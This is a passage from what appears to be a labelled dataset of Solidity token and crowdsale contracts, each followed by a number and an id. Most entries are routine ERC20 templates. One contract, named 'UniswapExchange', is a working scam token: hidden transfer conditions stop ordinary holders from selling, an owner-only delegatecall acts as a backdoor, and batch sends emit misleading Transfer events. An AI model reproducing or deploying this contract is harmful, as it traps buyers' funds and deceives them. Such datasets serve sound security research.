parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 2; uint8 public constant TOKEN_DECIMALS_UINT8 = 2; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Wechain Network"; string public constant TOKEN_SYMBOL = "WCN"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x031e4bd2fa0bbdccf4d97b66abacb190c06aa3fc; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[5] memory addresses = [address(0x58aba8ea204307af256e376ae6a4fe5892c73ea2),address(0x2fd2cbd43d3d1216b6396d9a66119f3f5f3240ae),address(0xc4aab1d48115b48612a87cea26e4f26dd3829354),address(0x0ed43f37598070d7d1c7909d545b96bc2d2e6604),address(0x96abb03c10194606c747d85f5a13911ba5a44920)]; uint[5] memory amounts = [uint(300000000000),uint(50000000000),uint(400000000000),uint(100000000000),uint(150000000000)]; uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(1544547601)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
3,801
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract iotpowerToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public remaining; uint public _totalSupply; uint public startDate; uint public stageOneBegin; uint public stageOneEnd; uint public stageTwoBegin; uint public stageTwoEnd; uint public stageThreeBegin; uint public stageThreeEnd; uint public stageFourBegin; uint public stageFourEnd; uint public stageFiveBegin; uint public stageFiveEnd; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function iotpowerToken() public { symbol = "IP"; name = "IOTPOWER Token"; decimals = 0; _totalSupply = 900000000; stageOneBegin = 1537747200; stageOneEnd = 1539561599; stageTwoBegin = 1539561600; stageTwoEnd = 1541375999; stageThreeBegin = 1541376000; stageThreeEnd = 1543190399; stageFourBegin = 1543190400; stageFourEnd = 1545004799; stageFiveBegin = 1545004800; stageFiveEnd = 1546819199; endDate = 1548633599; balances[0x7cf186Cad802cB992c4F14a634C7E81c9e8957b8] = _totalSupply; Transfer(address(0), 0x7cf186Cad802cB992c4F14a634C7E81c9e8957b8, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); require(msg.value > 0); require(msg.value <= msg.sender.balance); uint tokens; uint weiAmount = msg.value; assert(remaining <= _totalSupply); if (now >= stageOneBegin && now <= stageOneEnd) { tokens = 7185 * weiAmount / 1 ether; } else if (now >= stageTwoBegin && now <= stageTwoEnd) { tokens = 6789 * weiAmount / 1 ether; } else if (now >= stageThreeBegin && now <= stageThreeEnd) { tokens = 6392 * weiAmount / 1 ether; } else if (now >= stageFourBegin && now <= stageFourEnd) { tokens = 5996 * weiAmount / 1 ether; } else if (now >= stageFiveBegin && now <= stageFiveEnd) { tokens = 5600 * weiAmount / 1 ether; } else { tokens = 4955 * weiAmount / 1 ether; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(weiAmount); remaining = safeAdd(remaining,tokens); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
3,901
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,414
pragma solidity ^0.4.21; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "MAKEAFOLIO"; string constant TOKEN_SYMBOL = "MAF"; bool constant PAUSED = true; address constant TARGET_USER = 0x8De57367b1Bb53afc74f5efAbAebC3A971FA69A9; uint constant START_TIME = 1530417600; bool constant CONTINUE_MINTING = false; } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract MainCrowdsale is Consts, FinalizableCrowdsale { function hasStarted() public constant returns (bool) { return now >= startTime; } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { token.finishMinting(); } token.transferOwnership(TARGET_USER); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } } contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate(uint256 weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[5] memory weiRaisedStartsBoundaries = [uint(0),uint(4583333333333333333333),uint(8333333333333333333333),uint(16666666666666666666667),uint(25000000000000000000000)]; uint[5] memory weiRaisedEndsBoundaries = [uint(4583333333333333333333),uint(8333333333333333333333),uint(16666666666666666666667),uint(25000000000000000000000),uint(33333333333333333333333)]; uint64[5] memory timeStartsBoundaries = [uint64(1530417600),uint64(1530417600),uint64(1530417600),uint64(1530417600),uint64(1530417600)]; uint64[5] memory timeEndsBoundaries = [uint64(1543640395),uint64(1543640395),uint64(1543640395),uint64(1543640395),uint64(1543640395)]; uint[5] memory weiRaisedAndTimeRates = [uint(300),uint(200),uint(150),uint(100),uint(50)]; for (uint i = 0; i < 5; i++) { bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate; } } contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping (address => bool) private whitelist; event WhitelistedAddressAdded(address indexed _address); event WhitelistedAddressRemoved(address indexed _address); modifier onlyIfWhitelisted(address _buyer) { require(whitelist[_buyer]); _; } function isWhitelisted(address _address) public view returns (bool) { return whitelist[_address]; } function validPurchase() internal view onlyIfWhitelisted(msg.sender) returns (bool) { return super.validPurchase(); } function addAddressToWhitelist(address _address) external onlyOwner { whitelist[_address] = true; emit WhitelistedAddressAdded(_address); } function addAddressesToWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = true; emit WhitelistedAddressAdded(_addresses[i]); } } function removeAddressFromWhitelist(address _address) external onlyOwner { delete whitelist[_address]; emit WhitelistedAddressRemoved(_address); } function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { delete whitelist[_addresses[i]]; emit WhitelistedAddressRemoved(_addresses[i]); } } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , CappedCrowdsale , WhitelistedCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; function TemplateCrowdsale(MintableToken _token) public Crowdsale(START_TIME > now ? START_TIME : now, 1543640400, 1200 * TOKEN_DECIMAL_MULTIPLIER, 0x8BcC12F71e4C0C5f73C0dF9afbB3ed1de66DdD79) CappedCrowdsale(50000000000000000000000) { token = _token; } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[3] memory addresses = [address(0xbbc01d55a41a9eadd12027fe8088ed84768c3f0d),address(0x6cfd2db944e2b28a61a4f3f2cfb1973f0758cc3b),address(0x221be49cd399b8aaf0ade2485d6535e10518700d)]; uint[3] memory amounts = [uint(12500000000000000000000000),uint(7500000000000000000000000),uint(20000000000000000000000000)]; uint64[3] memory freezes = [uint64(0),uint64(0),uint64(1561953604)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function createTokenContract() internal returns (MintableToken) { return MintableToken(0); } function validPurchase() internal view returns (bool) { bool minValue = msg.value >= 100000000000000000; bool maxValue = msg.value <= 1000000000000000000000; return minValue && maxValue && super.validPurchase(); } function hasEnded() public view returns (bool) { bool remainValue = cap.sub(weiRaised) < 100000000000000000; return super.hasEnded() || remainValue; } function setEndTime(uint _endTime) public onlyOwner { require(now < endTime); require(now < _endTime); require(_endTime > startTime); emit TimesChanged(startTime, _endTime, startTime, endTime); endTime = _endTime; } }
1
3,751
